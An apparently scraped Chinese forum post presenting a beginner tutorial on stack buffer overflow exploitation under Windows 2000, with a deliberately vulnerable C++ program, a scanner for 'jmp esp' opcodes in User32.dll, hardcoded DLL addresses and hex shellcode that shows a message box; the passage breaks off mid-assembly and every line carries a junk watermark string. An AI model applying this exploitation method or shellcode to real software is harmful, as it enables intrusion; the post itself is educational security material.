AddThis Feed Button      
1/1页1 跳转到查看:339
发新话题 回复该主题

Windows 2000缓冲区溢出入门

Windows 2000缓冲区溢出入门

前言 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows 系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow's From Start to Finish》,得益匪浅。在翻译Jason先生的文章时,由于我的机器安装了Windows 2000 Server,在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执行代码的编写,等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序,基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态链接库的版本更新较快,一定要根据编程者的实际平台进行调试。在发布此类安全漏洞公告或溢出攻击程序时,源代码、系统平台和动态链接库的版本号都应该尽量列清楚。否则别人调试起来可能会头疼得很厉害。;) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
调试、测试环境 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
Microsoft Visual C++ 6.0 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
Microsoft Windows 2000 Server (中文版,内部版本号:2195) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
调试、测试过程 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CWinApp theApp; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
using namespace std; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
void overflow(char* buff); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
void overflow(char* buff) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CFile file; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CFileException er; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er)) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
er.ReportError(); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int x = file.GetLength(); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Read(buff,x); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int nRetCode = 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// initialize MFC and print and error on failure a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// TODO: change error code to suit your needs a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cerr << _T("Fatal Error: MFC initialization failed") << endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
nRetCode = 1; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
else a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
char buff[10]; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
overflow(buff); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return nRetCode; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先是第一行”char buff[10]”,定义了一个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参数调用overflow函数。好了,现在让我们分析overflow函数。首先是一个Cfile对象,然后是一个 CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功,则将该文件中的所有内容读取到buff数组变量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出。在后面的测试中就能看到,我们利用这个漏洞能做些什么!;)现在让我们创建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
在进行下一步前,先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。 0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。 0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导致“非法访问”错误。0x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。我选择小写字母”a”来填充文本文件。我们已经知道缓冲区只有10字符长,那么先填充11个字符。(注意:以 debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我想大家都应该知道”0x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS 和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。我们注意到ESP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是从如何处理得到的。 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
现在开始会复杂些了(而这就是乐趣的源泉!:))。在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按 Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040155B 5F pop edi a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040155C 5E pop esi a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040155D 5B pop ebx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040155E 83 C4 50 add esp,50h a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
00401561 3B EC cmp ebp,esp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
00401563 E8 7E 00 00 00 call _chkesp (004015e6) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
00401568 8B E5 mov esp,ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040156A 5D pop ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
0040156B C3 ret a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指定寄存器中,并将堆栈指针加4(因为共移动了4字节)。在执行下一步前,让我们看一下ESP 寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行 ”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”('a'的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;)好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令 ”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令将总会成为下一条指令。我们再次在内存窗口中输入ESP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说,下一步工作是确定在使缓冲区成功溢出(EIP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个'a'(共28个'a'),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;))) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
现在我再回过头来分析一下。我们刚才使用字符'a'(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于 EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CWinApp theApp; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
using namespace std; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int nRetCode = 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// initialize MFC and print and error on failure a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// TODO: change error code to suit your needs a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cerr << _T("Fatal Error: MFC initialization failed") << endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
nRetCode = 1; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
else a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
__asm jmp esp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return nRetCode; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CWinApp theApp; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
using namespace std; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int nRetCode = 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// initialize MFC and print and error on failure a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// TODO: change error code to suit your needs a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cerr << _T("Fatal Error: MFC initialization failed") << endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
nRetCode = 1; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
else a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
#if 0 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
__asm jmp esp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
#else a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
bool we_loaded_it = false; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
HINSTANCE h; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
TCHAR dllname[] = _T("User32"); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
h = GetModuleHandle(dllname); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if(h == NULL) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
h = LoadLibrary(dllname); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if(h == NULL) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cout<<"ERROR LOADING DLL: "<<dllname<<endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return 1; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
we_loaded_it = true; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
BYTE* ptr = (BYTE*)h; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
bool done = false; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
for(int y = 0;!done;y++) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
try a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int pos = (int)ptr + y; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cout<<"OPCODE found at 0x"<<hex<<pos<<endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
catch(...) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
done = true; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if(we_loaded_it) FreeLibrary(h); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
#endif a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return nRetCode; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
OPCODE found at 0x77e2e32a a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
END OF User32 MEMORY REACHED a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个'a'字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。)在这里我采用第一种方法。为什么?因为简单嘛。;) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过,后果自负! a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll 中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov ebp,esp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
sub esp,54h a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
xor ecx,ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-14h],'S' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-13h],'u' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-12h],'c' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-11h],'c' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-10h],'e' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Fh],'s' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Eh],'s' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Dh],cl a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Ch],'W' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Bh],'e' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-0Ah],' ' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-9],'G' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-8],'o' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-7],'t' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-6],' ' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-5],'I' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-4],'t' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-3],'!' a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov byte ptr [ebp-2],cl a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
lea eax,[ebp-14h] a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push eax a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
lea eax,[ebp-0Ch] a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push eax a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov dword ptr [ebp-18h],0x 77E23D68 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
call dword ptr[ebp-18h] a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov esp,ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
pop ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
pop ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这些汇编代码的机器码。方法前面已经介绍过了,不再重复。最后整理得到的机器码为: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了 msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov ebp,esp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
sub esp,10h a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
xor ecx,ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
push ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov dword ptr [ebp-4],0x1020AF90 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
